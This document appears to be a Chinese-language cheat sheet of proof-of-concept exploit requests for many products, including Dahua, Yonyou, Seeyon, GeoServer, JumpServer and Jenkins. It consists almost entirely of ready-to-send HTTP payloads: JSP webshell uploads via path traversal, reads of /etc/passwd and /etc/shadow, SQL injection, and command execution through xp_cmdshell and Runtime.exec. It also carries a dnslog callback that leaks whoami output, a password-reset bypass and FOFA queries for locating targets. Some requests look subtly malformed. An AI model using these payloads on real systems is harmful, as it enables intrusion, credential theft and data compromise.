时空智友企业流程化管控系统 session 泄露

GET http://ip:port/manage/index.jsp

大华智慧园区 poi 任意文件上传漏洞

POST /emap/webservice/gis/soap/poi HTTP/1.1 Content-Type: text/xml;charset=UTF-8
Host:
Content-Length: 688
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:res="http://response.webservice.poi.mapbiz.emap.dahuatech.com/">
<soapenv:Header/>
<soapenv:Body>
<res:uploadPicFile> <!--type: string--> <arg0>/../../111.jsp</arg0> <!--type: base64Binary-->
<arg1>PCVAcGFnZSBpbXBvcnQ9ImphdmEudGV4dC4qLGphdmEudXRpbC4qLGphdmEuaW8uKiIlPg o8JQpTaW1wbGVEYXRlRm9ybWF0IGRmID0gbmV3IFNpbXBsZURhdGVGb3JtYXQoInl5eS1NTS1kZC BISDptbTpzcyIpOwpvdXQucHJpbnRsbihkZi5mb3JtYXQobmV3IERhdGUoKSkpOwpGaWxlIGZpbGUg PSBuZXcgRmlsZShhcHBsaWNhdGlvbi5nZXRSZWFsUGF0aChyZXF1ZXN0LmdldFNlcnZsZXRQYXRoKC kpKTsKZmlsZS5kZWxldGUoKTsKJT4=</arg1>
</res:uploadPicFile> </soapenv:Body> </soapenv:Envelope>

亿赛通 任意文件下载漏洞

POST /CDGServer3/ClientAjax HTTP/1.1
Host: ip:port
Content-Length: 79
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://ip:port
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/; q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://ip:port/CDGServer3/ClientAjax
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=E5AEA4E9AA8CE5AE9E53455643
Connection: close
command=downclientpak&InstallationPack=../WEB-INF/web.xml&forward=index.jsp

用友U8 CRM 客户关系管理系统 getemaildata.php 任意文件读取漏洞

/ajax/getmaildata.php?DontCheckLogin=1&filePath=c:/windows/win.ini

大华智慧园区综合管理平台 文件上传漏洞
POST /publishing/publishing/material/file/video HTTP/1.1
Host: 127.0.0.1:7443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 804
Content-Type: multipart/form-data; boundary=dd8f988919484abab3816881c55272a7
Accept-Encoding: gzip, deflate
Connection: close

--dd8f988919484abab3816881c55272a7
Content-Disposition: form-data; name="Filedata"; filename="0EaE10E7dF5F10C2.jsp"

<%@page contentType="text/html; charset=GBK"%><%@page import="java.math.BigInteger"%><%@page import="java.security.MessageDigest"%><% MessageDigest md5 = null;md5 = MessageDigest.getInstance("MD5");String s = "123456";String miyao = "";String jiamichuan = s + miyao;md5.update(jiamichuan.getBytes());String md5String = new BigInteger(1, md5.digest()).toString(16);out.println(md5String);new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
--dd8f988919484abab3816881c55272a7
Content-Disposition: form-data; name="poc"

poc
--dd8f988919484abab3816881c55272a7
Content-Disposition: form-data; name="Submit"

submit
--dd8f988919484abab3816881c55272a7--

影响：大华智慧园区综合管理平台

大华智慧园区综合管理平台 searchJson SQL注入漏洞
GET /portal/services/carQuery/getFaceCapture/searchJson/%7B%7D/pageJson/%7B%22orderBy%22:%221%20and%201=updatexml(1,concat(0x7e,(select%20md5(388609)),0x7e),1)--%22%7D/extend/%7B%7D HTTP/1.1
Host: 127.0.0.1:7443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Connection: close

万户 任意文件上传漏洞

POST /defaultroot/services/FileTest;1.js HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Content-Length: 744
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,fil;q=0.6
Cache-Control: no-cache
Connection: close
Content-Type: text/xml;charset=UTF-8
Pragma: no-cache
SOAPAction: ""
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:util="http://com.whir.ezoffice.ezform.util.StringUtil" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"> <soapenv:Header/>
<soapenv:Body>
<util:printToFile soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<fileName xsi:type="soapenc:string">../server/oa/deploy/defaultroot.war/public/upload/fyhoyuoq8b.jsp.</ fileName>
<content xsi:type="soapenc:string">&lt;% out.print(1234*1234);%&gt;</content> </util:printToFile>
</soapenv:Body> </soapenv:Envelope>

GeoServer 命令执行漏洞

POST /geoserver/wms HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0 Accept: */*
Content-Type: application/xml
Content-Length: 2185
<?xml version="1.0" encoding="UTF-8"?>
<wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
<ows:Identifier>ras:Jiffle</ows:Identifier> <wps:DataInputs>
<wps:Input> <ows:Identifier>coverage</ows:Identifier> <wps:Data>
<wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720
nrows 316]]></wps:ComplexData>
NODATA_value
-9999
360 xllcorner -180 yllcorner -90 cellsize 0.5
</wps:Data> </wps:Input> <wps:Input>
<ows:Identifier>script</ows:Identifier> <wps:Data>
<wps:LiteralData>dest = y() - (500); // */ public class Double {
static double NaN = 0; static { try { java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
</wps:Data> </wps:Input> <wps:Input>
<ows:Identifier>outputType</ows:Identifier> <wps:Data>
<wps:LiteralData>DOUBLE</wps:LiteralData> </wps:Data>

致远 短信验证码绕过重置密码漏洞

POST /seeyon/rest/phoneLogin/phoneCode/resetPassword HTTP/1.1 Host: ip:port
Content-Type: application/json
Accept-Encoding: gzip
{"loginName":"admin"}

Poc 验证的时候看 response 如下就是存在漏洞:

{
"code" : 500, "success" : false, "message" : null
}

至于 exp 的话，json 请求包里放上 password 参数+重置后的密码，然后看 response 的 code 变成 200、success 变成 true 应该就行了。

金盘图书馆微信管理后台 getsysteminfo 未授权访问漏洞
指纹：
title=“微信管理后台” && icon_hash=“116323821”
POC:
/admin/weichatcfg/getsysteminfo

Imgproxy服务器端请求伪造漏洞（POC）
imgproxy <=3.14.0
poc:
/111/rs:fit:400:400:0:0/plain/http://xxxx.dnslog.cn

钉钉数据库疑似泄露

威胁行为者声称拥有人员照片、联系人姓名、地址、电子邮件、电话和有关工作表现的详细报告的链接。

企望ERP系统 RCE
POST /mainFunctions/comboxstore.action HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

comboxsql=exec%20xp_cmdshell%20'whoami'

smanga 远程执行漏洞 poc

POST /php/manga/delete.php HTTP/1.1
Host: 127.0.0.1:8181
Content-Length: 360
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8181
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (iPad; CPU OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.77 Mobile/15E148 Safari/604.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1:8181/php/manga/delete.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

mangaId=1+union+select+*+from+%28select+1%29a+join+%28select+2%29b+join+%28select+3%29c+join+%28select+4%29d+join+%28select+%27%5C%22%3Bping+-c+3+%60whoami%60.uoi9vt.dnslog.cn%3B%5C%22%27%29e+join+%28select+6%29f+join+%28select+7%29g+join+%28select+8%29h+join+%28select+9%29i+join+%28select+10%29j+join+%28select+11%29k+join+%28select+12%29l%3B&deleteFile=true

移动路由器Cellular Router命令执行漏洞
FOFA搜索语句
title="index" && header="lighttpd/1.4.30"

GET /cgi-bin/popen.cgi?command=ping%20-c%204%201.1.1.1;cat%20/etc/shadow&v=0.1303033443137912 HTTP/1.1
Host: x.x.x.x

JumpServer未授权访问漏洞
CVE-2023-42442

访问http://*url*/api/v1/terminal/sessions/

畅捷CRM get_usedspace.php SQL注入漏洞

GET /WebSer~1/get_usedspace.php?site_id=-1159%20UNION%20ALL%20SELECT%20CONCAT(0x7178767671,0x5664726e476a637a565a50614d4c435745446a50614756506d486d58544b4e646d7a577170685165,0x7171626b71)-- HTTP/1.1
Host: x.x.x.x

用友GRP-U8 bx_historyDataCheck.jsp SQL注入漏洞
POST /u8qx/bx_historyDataCheck.jsp HTTP/1.1

userName=';WAITFOR DELAY '0:0:5'--&ysnd=&historyFlag=

Juniper Web Device Manager RCE
POST /?PHPRC=/dev/fd/O HTTP/1.1
Host: {{Hostname}]
auto_prepend file="/etc/passwd"

Jenkins CVE-2024-23897 任意文件读取漏洞

java -jar jenkins-cli.jar -s http://xxxx:8080/ connect-node "@/etc/passwd"